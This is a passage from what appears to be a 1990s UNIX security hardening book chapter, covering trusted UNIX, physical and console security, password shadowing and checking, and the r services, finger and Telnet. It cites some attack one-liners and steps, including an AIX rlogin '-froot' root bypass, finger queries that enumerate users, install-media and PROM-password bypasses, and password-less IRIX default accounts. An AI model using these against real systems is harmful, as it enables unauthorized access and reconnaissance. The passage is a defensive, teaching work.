operating system manufactured by Trusted \nInformation Systems, Inc. You may recognize this name because this company creates \nfirewall products (such as the famous Firewall Tool Kit and a tool called Gauntlet, which \nis a formidable firewall package). TIS has developed a whole line of not just security \nproducts, but policies and theories. TIS has been in the security business for some time. \n \nCross Reference: Please take a moment to check out TIS at http://www.tis.com/ \nor examine products at http://www.tis.com/docs/products/index.html. \n \nTrusted XENIX is a very security-enhanced version of UNIX (and bears little \nresemblance to the Microsoft XENIX product of years ago). This product's security is \nbased on the Bell and LaPadula model. \nMany users may be wondering what the Bell and LaPadula model is. This is a security \nmodel utilized by United States military organizations. It is described in Department of \nDefense Trusted Computer System Evaluation Criteria (also known as the Orange Book, \nout of the \"Rainbow Book\" series) as \"...an abstract formal treatment of DoD \n(Department of Defense) security policy....\" \nAs reported in the Orange Book: \nUsing mathematics and set theory, the model precisely defines the notion of secure state, \nfundamental modes of access, and the rules for granting subjects specific modes of access to \nobjects. Finally, a theorem is proven to demonstrate that the rules are security-preserving \noperations, so that the application of any sequence of the rules to a system that is in a secure state \nwill result in the system entering a new state that is also secure. This theorem is known as the \nBasic Security Theorem. \n \nNOTE: Find the Orange Book online at http://www.v-\none.com/newpages/obook.html. \n \nThis sounds complicated, but is isn't really. The model prescribes a series of \"rules\" of \nconduct. These rules of conduct may apply both to human beings (as in how military top \nsecret and secret messages are sent) or it may apply to the levels of access allowed in a \ngiven system. If you are deeply interested in learning about the Bell and LaPadula \nsecurity model, you should acquire the Orange Book. Moreover, there is an excellent \npaper available that will not only help you understand the basics of that security model \nbut weaknesses or quirks within it. That paper is titled \"A Security Model for Military \nMessage Systems.\" The authors are Carl Landwher, Constance L. Heitmeyer, and John \nMcLean. The paper proposes some new concepts with regard to such systems and \ncontrasts these new approaches to the Bell and LaPadula security model. This paper \nreduces the complexity of the subject matter, allowing the user to easily understand \nconcepts. \n \nCross Reference: \"A Security Model for Military Message Systems\" can be found online \nat \n" }, { "page_number": 331, "text": " \n \nhttp://www.itd.nrl.navy.mil/ITD/5540/publications/CHACS/Befo\nre1990/1984landwehr-tocs.ps. \n \nAnother excellent paper, \"On Access Checking in Capability-Based Systems\" (by \nRichard Y. Kain and C. E. Landwehr) demonstrates how some conditions and \nenvironments cannot conform to the Bell and LaPadula security model. The information \ndiscussed can fill out your knowledge of these types of security models. \n \nCross Reference: Kain and Landwehr's paper, \"On Access Checking in Capability-\nBased Systems,\" can be found online at \nhttp://www.itd.nrl.navy.mil/ITD/5540/publications/CHACS/Befo\nre1990/1987landwehr-tse.ps. \n \nTrusted XENIX has very granular access control, audit capabilities, and access control \nlists. In addition, the system recognizes four levels of secure users (or privileged users): \n• \nSystem security administrator \n• \nSecure operator \n• \nAccount administrator \n• \nAuditor \nOnly one of these (auditor) can alter the logs. This is serious security at work. From this \nlevel of systems security, the focus is on who, as opposed to what, is operating the \nsystem. In other words, operating systems like this do not trust users. Therefore, the \nconstruct of the system relies on strict security access policies instituted for humans by \nhumans. The only way to crack such a system is if someone on the inside is \"dirty.\" Each \nperson involved in system maintenance is compartmentalized against the rest. (For \nexample, the person who tends to the installation has his own account and this account \n[The Trusted System Programmer] can only operate in single-user mode.) The design, \ntherefore, provides a very high level of accountability. Each so-called trusted user is \nresponsible for a separate part of system security. In order for system security to be \ntotally compromised, these individuals must act in collusion (which is not a likely \ncontingency). \nVersions of secure UNIX also exist that occupy a slightly lower level on the EPL. These \nare extremely secure systems as well and are more commonly found in real-life \nsituations. XTS STOP and TIS Trusted XENIX amount to extreme security measures, \nway beyond what the average organization or business would require. Such systems are \nreserved for the super- paranoid. B1 systems abound and they are quite secure. Some of \nthe vendors that provide B1 products are as follows: \n• \nAmdahl Corporation (UTS/MLS, version 2.1.5+) \n• \nDigital Equipment Corporation (DEC) (SEVMS VAX version 6.1) \n• \nDEC (SEVMS VAX and Alpha version 6.1) \n" }, { "page_number": 332, "text": " \n \n• \nDEC (ULTRIX MLS+ version 2.1) \n• \nHarris Computer Systems Corporation (CX/SX 6.2.1) \n• \nHewlett Packard Corporation (HP-UX BLS release 9.0.9+) \n• \nSilicon Graphics, Inc. (Trusted IRIX/B release 4.0.5EPL) \n• \nUnisys Corporation (OS 1100/2200 release SB4R7) \n• \nCray Research, Inc. (Trusted UNICOS 8.0) \n• \nInformix Software, Inc. (INFORMIX-Online/Secure 5.0) \n• \nOracle Corporation (Trusted Oracle7) \n \nNOTE: Again, I have listed only the latest versions of these products. In many instances, \nearlier versions are also B1 compliant. Please check the EPL for specifics on earlier \nversions. \n \nThis book does not treat implementation and maintenance of secure UNIX distributions. \nMy reasons for this are pretty basic. First, there was not enough space to treat this \nsubject. Second, if you use secure UNIX on a daily basis, it is you (and not I) who \nprobably should have written this book, for your knowledge of security is likely very \ndeep. So, having quickly discussed secure UNIX (a thing that very few of you will ever \ngrapple with), I would like to move forward to detail some practical information. \nWe are going to start with one machine and work out way outward. (Not a very novel \nidea, but one that at least will add some order to this chapter.) \nBeginning at the Beginning \nSome constants can be observed on all UNIX platforms. Securing any system begins at \nthe time of installation (or at least it should). At the precise moment of installation, the \nonly threat to your security consists of out-of-the-box holes (which are generally well \nknown) and the slim possibility of a trojan horse installed by one of the vendor's \nprogrammers. (This contingency is so slight that you would do best not to fret over it. If \nsuch a trojan horse exists, news will soon surface about it. Furthermore, there is really no \nway for you to check whether such a trojan exists. You can apply all the MD5 you like \nand it will not matter a hoot. If the programmer involved had the necessary privileges and \naccess, the cryptographic checksums will ring true, even when matched against the \nvendor's database of checksums. The vendor has no knowledge that the trojan horse \nexisted, and therefore, he went with what he thought was the most secure distribution \npossible. These situations are so rare that you needn't worry about them.) \nConsole Security \nBefore all else, your first concern runs to the people who have physical access to the \nmachine. There are two types of those people: \n" }, { "page_number": 333, "text": " \n \n• \nThose that will occupy physical proximity, but have no privileged access \n• \nThose that will both occupy physical proximity and have privileged access \nThe first group, if they tamper with your box, will likely cause minimal damage, but \ncould easily cause denial of service. They can do this through simple measures, such as \ndisconnecting the SCSI cables and disabling the Ethernet connection. However, in terms \nof actual access, their avenues will be slim so long as you set your passwords \nimmediately following installation. \n \nTIP: Immediately upon installation, set the root password. Many distributions, like \nSun's SunOS or Solaris, will request that you do so. It is generally the last option \npresented prior to either reboot (SunOS) or bootup (Solaris). However, many \ndistributions do not force a choice prior to first boot. Linux Slackware is one such \ndistribution. AIX (AIX 4.x in particular, which boots directly to the Korn shell) is \nanother. If you have installed such a system, set the root password immediately upon \nlogging in. \n \nNext, there are several things you need to check. Those who have physical proximity but \nno privilege could still compromise your security. After setting the root password, the \nfirst question you should ask yourself is whether your system supports a single-user \nmode. If so, can you disable it or restrict its use? Many systems support single-user mode. \nFor example, certain DECstations (the 3100, in particular) will allow you to specify your \nboot option: \nWhen a DEC workstation is first shipped, its console system operates in privileged command \nmode. If you do nothing to change from privileged mode, there will be no console command \nrestrictions. Anyone with physical console access can activate any console command, the most \nvulnerable being interactive booting. \n \nCross Reference: The previous paragraph is excerpted from CIAC-2303, The Console \nPassword for DEC Workstations by Allan L. Van Lehn. This excellent paper can be \nfound online at http://ciac.llnl.gov/ciac/documents/. \n \nInteractive booting will get them to a single-user mode and that hole should be shut \nimmediately after installation. You can set the console password on a DEC workstation. \nWhere Is the Box Located? \nNext, note that the box is only as secure as its location. Certainly, you would not place a \nmachine with sensitive information in a physical location where malicious users can have \nunrestricted access to it. \"Unrestricted access\" in this context means access where users \ncould potentially have time, without fear of detection, to take off the cover or otherwise \ntamper with the hardware. Such tampering could lead to compromise. \n \nTIP: Some machines have physical weaknesses that are also inherent to the PC platform. \nOn certain workstations, it is trivial to disable the PROM password. For instance, \nremoving the nvram chip on Indigo workstations will kill the PROM password. \n \n" }, { "page_number": 334, "text": " \n \nAs noted in RFC 1244: \nIt is a given in computer security that if the system itself is not physically secure, nothing else \nabout the system can be considered secure. With physical access to a machine, an intruder can halt \nthe machine, bring it back up in privileged mode, replace or alter the disk, plant trojan horse \nprograms or take any number of other undesirable (and hard to prevent) actions. Critical \ncommunications links, important servers, and other key machines should be located in physically \nsecure areas. \nSo your machine should be located in a safe place. It should be exposed to as little \nphysical contact with untrusted personnel as possible. It should also have a root \npassword and a console password, if applicable. \nSecuring Your Installation Media \nYour installation media should be kept in a secure place. Remember that installation \nmedia can be used to compromise the system. For example, our more mature readers may \nremember that this can be done with certain versions of AT&T UNIX, particularly SVR3 \nand V/386. This technique involves inserting the boot floppy, booting from it (as opposed \nto a fixed disk), and choosing the \"magic mode\" option. This presents a means through \nwhich to obtain a shell. \nRemember that when you are installing, you are root. For those distributions that require \na boot disk as part of the installation procedure, this is especially important. \nInstallations that occur solely via CD-ROM are less likely to offer a malicious user \nleveraged access. However, be advised that these types of installations also pose a risk. \nYou must think as the malicious user thinks. If your SPARC is sitting out on the desk, \nwith the installation media available, you better take some precautions. Otherwise, a kid \ncan approach, halt the machine (with L1 + A), boot the installation media (with b \nsd(0,6,2)), and proceed to overwrite your entire disk. A malicious user could also \nperform this operation with almost any system (for example, by changing the SCSI ID on \nthe hard disk drive). AIX will boot from the CD-ROM if it finds that all other disks are \nunsuitable for boot. \nHowever, it is more often through the use of a boot floppy that system security is \nbreached. Typical examples of installation procedures that require a disk include \nSolarisX86, some versions of AT&T UNIX, some versions of SCO, and almost all \ndistributions of Linux. If you have such a system, secure those disks. (True, a malicious \nuser can acquire disk images from the Internet or other sources. However, this is not \nnearly as convenient as having the disk readily available, in close proximity to the \nworkstation. Most onsite breaches are crimes of opportunity. Don't present that \nopportunity.) \n \nCross Reference: A fascinating approach to the problem of physical security of \nworkstations is taken in a paper by Dr. J. Douglas Tygar and Bennet Yee, School of \nComputer Science at Carnegie Mellon University. This paper, Dyad: A System for Using \nPhysically Secure Coprocessors, can be found online at \nhttp://www.cni.org/docs/ima.ip-workshop/www/Tygar.Yee.html. \n \n" }, { "page_number": 335, "text": " \n \nBefore You Erect a Networked Machine \nSome definition is in order here, aimed specifically at those using SGI systems (or any \nother system that is commonly used for graphics, design, or other applications not \ngenerally associated with the Internet). \nIf you are running UNIX, your machine is networked. It makes no difference that you \nhaven't got a \"network\" (other than the Internet) connected to it. UNIX is a networked \noperating system by default. That is, unless you otherwise disable networking options, \nthat machine will support most of the protocols used on the Internet. If you have been \ngiven such a machine, used primarily for graphical projects, you must either get a \ntechnician skilled in security or learn security yourself. By the time that box is plugged \ninto the Net, it should be secure. As I explained earlier in this book, lack of security \nknowledge has downed the machines of many SGI users. Windowed systems are great \n(and SGI's is truly beautiful to behold). However, at the heart of such boxes is a thriving, \nnetworked UNIX. \nOut-of-the-Box Defaults \nIn nearly every flavor of UNIX, there is some default password or configuration that can \nlead to a root compromise. For example, at the beginning of this book, I discussed \nproblems with certain versions of IRIX. I will recount those here briefly. \nThe following accounts on some versions of IRIX do not require a password to login: \n• \nlp (line printer) \n• \nguest \n• \n4Dgifts \n• \ndemos \n• \njack \n• \njill \n• \nbackdoor \n• \ntutor \n• \ntour \n \nCross Reference: To review the default password problem more closely, refer to Silicon \nGraphics Inc., Security Advisory 19951002-01-I; CERT Advisory CA-95:15--SGI lp \nVulnerability. November 27, 1995. \nftp://sgigate.sgi.com/Security/19951002-01-I or \nftp://info.cert.org/pub/cert_advisories/CA-\n95%3A15.SGI.lp.vul. \n \n" }, { "page_number": 336, "text": " \n \nSuch problems should be dealt with immediately upon installation. If you are unaware of \nsuch weaknesses, contact your vendor or security organizations. \nGetting Down to Business: Password Security \nIt is assumed that you are going to have more than one user on this machine. (Perhaps \nyou'll have dozens of them.) If you are the system administrator (or the person dictating \npolicy), you will need to set some standard on the use of passwords. \nFirst, recognize that every password system has some inherent weakness. This is critical \nbecause passwords are at the very heart of the UNIX security scheme. Any compromise \nof password security is a major event. Usually, the only remedy is for all users to change \ntheir passwords. Today, password schemes are quite advanced, offering both encrypted \npasswords, and in certain instances password shadowing. \n \nNOTE: Password shadowing is where the /etc/passwd file contains only tokens (or \nsymbols) that serve as an abstract representation for the user's real, encrypted password. \nThat real password is stored elsewhere on the drive, in a place unreachable by crackers. \n \nSome distributions do not have shadowing as a default feature. I am not presuming here \nthat you are installing the biggest and baddest UNIX system currently available on the \nmarket. Maybe you are installing SunOS 4_1_3 on an old SPARC 1, or similarly \noutdated hardware and software. (Or perhaps you are installing a Slackware version of \nLinux that does not support shadowing in the current distribution.) \nIn such a case, the /etc/passwd file will be at least viewable by users. True, the \npasswords are in encrypted form, but as you learned earlier, it is a trivial task to crack \nthem. If they can be viewed, they can be cracked. (Anything that can be viewed can also \nbe clipped and pasted. All that is required is some term package that can be used to \nTelnet to your box. Once the /etc/passwd file can be printed to STDOUT, it can be \ncaptured or otherwise copied.) This first needs to be remedied. \nPasswords in their raw, encrypted form should not be viewable by anyone. Modern \ntechnology provides you the tools to hide these passwords, and there is no earthly reason \nwhy you shouldn't. There was a time, however, when such hiding was not available. In \nthose olden days, bizarre and fantastic things did sometimes happen. In fact, in the early \ndays of computer technology, security was a largely hit-or-miss situation. Here is an \namusing story recounted by Robert Morris and Ken Thompson in their now-classic paper \nPassword Security: A Case History: \nExperience with several earlier remote-access systems showed that lapses occur with frightening \nfrequency. Perhaps the most memorable such occasion occurred in the early 60's when a system \nadministrator on the CTSS system at MIT was editing the password file and another system \nadministrator was editing the daily message that is printed on everyone's terminal at login. Due to \na software design error, the temporary editor files of the two users were interchanged and thus, for \na time, the password file was printed in every terminal when it was logged in. \n \nCross Reference: Password Security: A Case History can be found online at \nhttp://www.alw.nih.gov/Security/FIRST/papers/password/pwstud\ny.ps. \n" }, { "page_number": 337, "text": " \n \n \nInstalling Password Shadowing \nIf your system supports it, you need password shadowing. If you are using Linux, you \ncan get the Shadow Suite at ftp.cin.net/usr/ggallag/shadow/shadow-\ncurrent.tar.gz. \nFor other systems, my suggestion is John F. Haugh II's shadow package. This package is \nextensive in functionality. For example, not only does it provide basic password \nshadowing, it can be used to age passwords. It can even restrict the port from which root \ncan log in. Moreover, it supports 16-character passwords (as opposed to the traditional 8). \nThis greatly enhances your password security, forcing crackers to consume considerable \nresources to crack an even more complex password. Other features of this distribution \ninclude the following: \n• \nRecording of failed login attempts \n• \nA function to examine user passwords and evaluate their relative strengths \n• \nForced password prompts, even on null password logins \n \nCross Reference: Shadow is available at \nftp://ftp.std.com/src/freeunix/shadow.tar.Z. \n \nAs a system administrator, you will also need a password cracker and a series of \nwordlists. These tools will assist you in determining the strength of your users' \npasswords. \n \nCross Reference: Crack is available at \nftp://coast.cs.purdue.edu/pub/tools/unix/crack/. \n \nWordlists vary dramatically, in terms of language, type of word, and so forth. Some \nconsist only of proper names, and others consists of either all upper- or lowercase \ncharacters. There are thousands of locations on the Net where these lists reside. \n \nCross Reference: Two good starting places for wordlists are \nhttp://sdg.ncsa.uiuc.edu/~mag/Misc/Wordlists.html and \nftp://coast.cs.purdue.edu/pub/dict/. \n \n \nCAUTION: If you keep password crackers on your local disks, make sure they are not \naccessible to anyone but you. The same is true of wordlists or any other tool that might \nconceivably be used against your system (or anyone else's, for that matter). Many \nsecurity tools fit this description. Be sure to secure all security tools that could potentially \nenable a cracker. \n \nInstalling a Proactive Password Checking Program \n" }, { "page_number": 338, "text": " \n \nSo, to recount, you have thus far performed the following operations: \n• \nInstalled the software \n• \nDefined the root password \n• \nDefined the console password \n• \nPhysically secured the machine and installation media \n• \nInstalled password shadowing \nNext, you will want to install a program that performs proactive password checking. \nUsers are generally lazy creatures. When asked to supply their desired password, they \nwill often pick passwords that can easily be cracked. Perhaps they use one of their \nchildren's names, their birth date, or their department name. On systems without \nproactive password checking, these characteristically weak passwords go unnoticed until \nthe system administrator \"gets around\" to checking the strength of them with a tool such \nas Crack. By then it is often too late. \nThe purpose of a proactive password checker is to stop the problem before the password \ngets committed to the passwd file. Thus, when a user enters his desired password, before \nthe password is accepted, it is compared against a wordlist and a series of rules. If the \npassword fails to meet the requirements of this process (for example, it is found to be a \nweak password choice), the user is forced to make another choice. In this way, at least \nsome bad passwords are screened out at time of submission. \nThe leading utility for this is passwd+, written by Matt Bishop. This utility has been in \nfairly wide use, largely because of its high level of functionality. It is a superb utility. For \nexample, you can set the error message that will be received when a user forwards a weak \npassword. In other words, the user is not faced with a cryptic \"your password is no good\" \nprompt, for this does not serve to educate the user as to what is a weak or strong \npassword. (Such messages would also probably annoy the user. Users have little \ntolerance for a program that repeatedly issues such an error message, even if the error is \nwith the user and not the program.) The program also provides the following: \n• \nExtensive logging capabilities (including the logging of each session, such as the success or failure \nof a given password change). \n• \nSpecification of the number of significant characters in the password (that is, how many will be \nused in the test). \n \nCross Reference: Matt Bishop's passwd+ is available at \nftp://ftp.dartmouth.edu/pub/security/. \n \nTo learn more about this program (and the theory and practice Bishop applied to it), you \nneed to get the technical report A Proactive Password Checker, Dartmouth Technical \nReport PCS-TR90-152. This is not available on the Net from Dartmouth. However, you \ncan request a hardcopy of it by mail from http://www.cs.dartmouth.edu/cgi-\nbin/mail_tr.pl?tr=TR90-152. \n" }, { "page_number": 339, "text": " \n \nThe Next Step: Examining Services \nSo at this stage you have secured the workstation. It has shadowed passwords and will \naccept only passwords that are reasonably secure. Later, after your users have recorded \ntheir passwords into the database, you will attempt to crack them. The machine is also \nlocated in a safe place and neither a console mode nor installation media are available to \nlocal, malicious users. Now it is time to consider how this workstation will interact with \nthe outside world. \nThe r Services \nJust what services do you need to run? For example, are you going to allow the use of r \nservices? These are rlogin and rsh, primarily. These services are notorious for sporting \nsecurity holes, not just in the distant past, but throughout their history. For example, in \nAugust 1996, an advisory was issued regarding an rlogin hole in certain distributions of \nLinux. The hole was both a Class A and Class B security hole, allowing both local and \nremote users to gain leveraged access: \nA vulnerability exists in the rlogin program of NetKitB-0.6 This vulnerability affects several \nwidely used Linux distributions, including Red Hat Linux 2.0, 2.1 and derived systems including \nCaldera Network Desktop, Slackware 3.0 and others. This vulnerability is not limited to Linux or \nany other free UNIX systems. Both the information about this vulnerability and methods of its \nexploit were made available on the Internet.--Alan Cox, Marc Ewing (Red Hat), Ron Holt \n(Caldera, Inc.), and Adam J. Richter, Official Update of the Linux security FAQ; Alexander O. \nYuriev, Moderator, Linux Security and Linux Alert Mailing Lists. (CIS Laboratories, Temple \nUniversity, Philadelphia, PA.) \nThe problem is not confined to Linux. Many hard-line users of UNIX \"look down\" on \nLinux, taking the position that Linux is not a \"real\" UNIX operating system. So whenever \nholes crop up in Linux, the hard-line community takes the \"I told you so\" position. This is \nan untenable view. Many distributions of real UNIX have had similar bugs. Consider this \nIBM advisory (titled \"Urgent--AIX Security Exposure\"): \nIBM has just become aware of an AIX security exposure that makes it possible to remote login to \nany AIX Version 3 system as the root user without a password. IBM hopes its efforts to respond \nrapidly to this problem will allow customers to eliminate this security exposure with minimal \ndisruption. \nThis hole was a rlogind problem. On affected versions of AIX, any remote user could \nissue this command: \nrlogin AIX.target.com -l -froot \nand immediately gain root access to the machine. This is, of course, a Class A hole. And \nAIX is not the only distribution that has had problems with the r services. In fact, nearly \nall UNIX distributions have had some problem or another with these services. I \nrecommend that you shut them down. \nBut what if you can't? What if you have to offer at least limited access using the r \nservices? Well, thanks to Wietse Venema, this is not a problem. Venema has produced a \ncollection of hacked utilities that will replace these daemons. These replacements offer \nenhanced security features and logging capabilities. Moreover, Venema provides an \nextensive history of their development. \n" }, { "page_number": 340, "text": " \n \n \nCross Reference: You can find Venema's hacked tools at \nftp://ftp.win.tue.nl/pub/security/. \n \n \nCross Reference: The errata, changes, fixes, improvements, and history of these utilities \nare located at ftp://ftp.win.tue.nl/pub/security/logdaemon-\n5.6.README. \n \nAlso, in the unlikely event that you grab the utilities on-the-fly and fail to read the \nREADME file, please heed at least this warning authored by Venema: \nMany programs in this kit replace system utilities. Don't replace system utilities unless you are an \nexperienced system programmer and system administrator. \n \nCross Reference: Venema's README file can be found online at \nftp://ftp.win.tue.nl/pub/security/logdaemon-5.6.README. \n \n \nTIP: Many such utilities replace system daemons. I recommend that before using any \nsuch utility, you carefully read the installation and readme notes. If you fail to do so, you \nmay end up with a system that doesn't work properly. \n \n \nCAUTION: Venema has made some awesome contributions to Internet security and is \nhighly respected. However, even he is capable of making minor mistakes. Note that \nversions of logdaemon prior to 4.9 have a flawed implementation of S/Key, a Bellcore \nproduct used for authentication. The hole is not critical (Class A) but local users can gain \nunauthorized access. For further background and links to patched versions, see CERT \nVendor-Initiated Bulletin VB-95:04, which is located at \nhttp://www.beckman.uiuc.edu/groups/biss/VirtualLibrary/mail/\ncert/msg00012.html. \n \nThere are also other solutions to the problem. There are ways, for example, to disable the \nr services and still provide other forms of remote login. One such solution is Secure shell \n(SSH). SSH is available at many locations over the Internet. I prefer this site: \nhttp://escert.upc.es/others/ssh/ \nSSH is currently available for a wide range of platform. Here are a few: \n• \nAIX 3.2.5, 4.1; RS6000, PowerPC \n• \nDGUX 5.4R2.10; DGUX \n• \nFreeBSD 1.x, 2.x; Pentium \n• \nHPUX 9.0x, 10.0; HPPA \n• \nIRIX 5.2, 5.3; SGI Indy \n• \nLinux 1.2.x Slackware 2.1.0, Red Hat 2.1; i486 \n• \nSolaris 2.3, 2.4, 2.5; Sparc, i386 \n" }, { "page_number": 341, "text": " \n \n• \nSunOS 4.1.1, 4.1.2, 4.1.3, 4.1.4; Sparc, Sun3 \n• \nUnicos 8.0.3; Cray C90 \nAs I have discussed previously, SSH provides strong authentication and encryption \nacross remote sessions. It is an excellent replacement for rlogin and even Telnet. \nMoreover, SSH will defeat many spoofing attacks over IP and DNS. Many administrators \nsuggest that if you are not providing r services, you should remove the \n/etc/hosts.equiv and .rhosts files. Note that the SSH client supports authentication \nvia .rhosts and /etc/hosts.equiv. If you are going to use SSH, it is recommended \nthat you keep one or both of these files. Before actually implementing SSH on your \nsystem, it would be wise to study the RFC related to this issue. It is titled \"The SSH \n(Secure Shell) Remote Login Protocol.\" \n \nCross Reference: \"The SSH (Secure Shell) Remote Login Protocol\" by T. Ylonen \n(Helsinki University of Technology) can be found online at \nhttp://www.cs.hut.fi/ssh/RFC. \n \n \nCAUTION: The files /etc/hosts.equiv and .rhosts should be routinely \nchecked. Any alteration of or aberration in these files is one indication of a possible \ncompromise of your system security. Moreover, the file /etc/hosts.equiv should \nbe examined closely. The symbols +, !, -, and # should not appear within this file. This \nfile is different in construct than other files and these characters may permit remote \nindividuals to gain unrestricted access. (See RFC 91:12 and related RFCs.) \n \nMoreover, you will probably want to enforce a strict policy regarding .rhosts files on \nyour machine. That is, you should strictly forbid users on your machine from establishing \n.rhosts files in their own /home directories. You can apply all the security in the world \nto your personal use of .rhosts and it will not matter if users spring a hole in your \nsecurity with their own. \nSnooping Utilities: The finger Service \nThere is disagreement in the security field on the finger utility issue. Some \nadministrators argue that leaving the finger service intact will have an almost negligible \neffect on security. Their view is that on a large system, it could take ages for a cracker to \nbuild a reliable database of users and processes. Moreover, it is argued that with the \nintroduction of dynamically allocated IP addresses, this information may be flawed for \nthe purposes of cracking (for example, making the argument that the command finger \n@target.host.com will reveal only those users currently logged to the machine. This \nmay be true in many distributions of fingerd, but not all. Still, administrators argue that \ncrackers will meet with much duplicate and useless information by attempting to build a \ndatabase this way. These contingencies would theoretically foil a cracker by frustrating \ntheir quest. Plainly stated, this technique is viewed as too much trouble. Perhaps. But as \nyou will see soon, that is not really true. (Moreover, for certain distributions, this is not \neven an issue.) Try issuing this command against an Ultrix fingerd: \nfinger @@target.host.com \n" }, { "page_number": 342, "text": " \n \nThe listing you will receive in response will shock you. On certain versions of the Ultrix \nfingerd, this command will call a list of all users in the passwd file. \nMy feeling is that the functionality of remote finger queries should be eliminated \naltogether (or at least restricted in terms of output). Experimentation with finger queries \n(against your server or someone else's) will reveal some very interesting things. First, \nknow this: fingering any character that might appear in the structure of a path will \nreveal whole lists of people. For example, suppose that you structure your directories for \nusers as /u1, /u2, /u3, and so on. If you do, try fingering this: \n \nfinger 4@my.host.com \nAlas, even though you have no users named 4, and even though none of these have the \ncharacter 4 within their usernames, they still appear. If a cracker knows that you structure \nyour disk organization in this manner, he can build your entire passwd file in less than an \nhour. \nHowever, if you feel the need to allow finger services, I suggest using some \"secure\" \nform of finger, such as the highly customizable fingerd written by Laurent Demailly. \nOne of its main features is that it grants access to plan files through a chrooted directory. \nsfingerd (which nearly always come with the full source) is available at \nftp://hplyot.obspm.fr:/net/sfingerd-1.8.tar.gz. \nOther known finger daemons, varying in their ability to restrict certain behavior, are \nlisted in Table 17.2. \nTable 17.2. Alternative finger daemons. \nDaemon \nLocale and General Characteristics \nfingerd-\n1.0 \nftp://kiwi.foobar.com/pub/fingerd.tar.gz. \n \nOffers extensive logging and allows restrictions on forwarding. \ncfinger ftp://sunsite.unc.edu:/pub/Linux/system/network/finger/cfingerd-\n1.3.2.lsm. \n \nCan be used to provide selective finger services, denying one user but allowing another. For \nqueries from authorized users, scripts can be executed on a finger query. \nrfingerd ftp.technet.sg:/pub/unix/bsdi/rfingerd.tgz. \n \nAn interesting twist: a Perl daemon. Allows a lot of conditional execution and restriction, for \nexample, if {$user_finger_request eq `foo'} \n{perform_this_operation}. Easy to use, small, lightweight. (It is Perl, after all.) \nThere are other reasons to disable finger. The .plan file is one. On ISP machines, the \n.plan file is usually of little significance and is used for its most popularly known \npurpose: to provide a little extra info in response to a finger inquiry. However, in \nnetworks connected to the Net as a matter of course (especially in the corporate climate), \nthe .plan file may serve other purposes (for example, status reports on projects). This \ntype of information could be considered sensitive. \n" }, { "page_number": 343, "text": " \n \nIf you feel the need to run finger, restrict its use to people within your network. Or, if \nthat is not possible, download one of the secure finger daemons and examine both the \ncode and the documentation. Only then should you make your choice. \n \nNOTE: It is reported in several documents, including the Arts and Sciences UNIX \nSystem Administrator Guidelines at Duke University, that you should not use GNU \nfingerd version 1.37. Apparently, there is a hole in that version that allows users to \naccess privileged files. \n \nOther Remote Services \nThe next step is to examine what other remote services you will offer. Here are some \nquestions you should ask yourself: \n• \nWill you allow connections from the outside via Telnet? \n• \nWhat about FTP? \n• \nIf so, will that FTP service be anonymous? \nTelnet \nTelnet is not an inherently dangerous service to provide, but some versions are not \nsecure. Moreover, even in \"tight\" versions of Telnet, a minor problem may exist. \n \nNOTE: One good example is Red Hat Linux 4.0. The problem is not serious, but Telnet \nin that distribution may reveal more information than you want it to. Suppose that you \nhave disabled finger services, r services, and the EXPN command in Sendmail. \nSuppose further, however, that you do allow Telnet sessions from untrusted addresses. \n(In other words, you are not running firewall software and have no other means of \nexcluding untrusted, unknown, or suspicious addresses.) With this configuration, you feel \nreasonably confident that no one can identify valid usernames on your system. But is that \nreally true? No. The Telnet package on Red Hat 4.0 distributions will cut the connection \nbetween the requesting address and the server if an invalid username is given. However, \nif the username is valid (but the password is incorrect), the server issues a subsequent \nlogin so that a retry can be initiated. By running a nicely hacked Perl script, a cracker can \neffectively determine valid user IDs on your system through a sort of \"brute force\" \ntechnique. True, you would recognize this in your logs from the run of connection \nrequests from the remote host. However, even little things like this can assist an outsider \nin gleaning information about your system. \n \nTelnet is not radically different from other system processes. It, too, has been found \nvulnerable to a wide range of attacks. Such holes crop up periodically. One was \ndiscovered in 1995 by Sam Hartman of MIT's Kerberos Development Team (with \nconfirmation and programming assistance provided by John Hawkinson, also at MIT). \nThis hole was rather obscure, but could provide a remote user with root access. As \ndiscussed by Hartman in a public advisory (\"Telnet Vulnerability: Shared Libraries\"): \nOn Sunday, October 15, I discovered a bug in some versions of telnetd on some platforms that \nallows a user making a connection to cause login to load an alternate C library from an arbitrary \nlocation in the file system of the machine running telnetd. In the case of machines mounting \n" }, { "page_number": 344, "text": " \n \ndistributed file spaces such as AFS or NFS, containing publicly writable anonymous FTP \ndirectories, or on which the user already has a non-root account, it is possible to gain root access. \nThe hole discovered by Hartman was common to not just one version of telnetd, but \nseveral: \n• \nNetBSD \n• \nFreeBSD \n• \nSGI IRIX \n• \nDEC UNIX \n• \nLinux \nTake note, then. If you are new to UNIX, or if you have been running your system \nwithout frequently checking bug lists for vulnerabilities, your telnetd could have this \nproblem. If so, you will need to install the patch. Contact your vendor or visit your \nvendor's site for patches. \nUnfortunately, many of the locations for patches are no longer current. However, the \ndocument does provide a scheme to \"test\" your telnetd to see if it is vulnerable. For that \nreason alone, the document has significant value. \n \nCross Reference: You can read \"Telnet Vulnerability: Shared Libraries\" on the WWW \nat http://geek-girl.com/bugtraq/1995_4/0032.html. \n \nEarlier versions of Telnet have also had problems. It would not serve you well for me to \nlist them all here. Rather, it is better to suggest that you consider why you are providing \nTelnet. Again, this breaks down to necessity. If you can avoid offering Telnet services, \nthen by all means do so. However, if you must offer some form of remote login, consider \nSSH. \nAlso, SSH is not your only recourse. I am simply assuming at this stage that the \nimaginary machine that we are securing does not yet have a firewall or other forms of \nsecurity applicable to Telnet. Other options do exist. These are two of those options (to \nbe discussed later): \n• \nTelnet authentication via Kerberos. Some distributions of Telnet are Kerberos aware. These \nsupport encryption and authentication. Some of these were in development in October 1995, when \nthe Hartman hole was identified. One is at ftp://ftp.cray.com/src/telnet/. A \ndistribution of the 4.4BSD \"Kerberized\" version is at \nhttp://andrew2.andrew.cmu.edu/dist/telnet.html. \n• \nTelnet proxy by firewall. For example, the tn-gw application available in the TIS Firewall \nToolkit (referred to as the FWTK). These types of applications can permit or deny remote hosts \nexplicitly. (Many of these applications allow the use of wildcards as well, where one can restrict \nentire networks from connecting.) \nWhat you use will depend on your particular circumstances. In some instances (for \nexample, where you are an ISP), you really cannot use a blanket exclusionary scheme. \n" }, { "page_number": 345, "text": " \n \nThere is no guarantee that all Telnet connections will be initiated on your subnet, nor that \nall will come from your PPP users. Some of these individuals will be at work or other \nlocations. They will be looking to check their mail at lunch hour and so on. If you \nprovide shell services, exclusionary schemes are therefore impractical. \nThe exception to this is if you have restricted shell use to one machine (perhaps a box \nnamed shell.provider.com). In this situation, exclusionary schemes can be 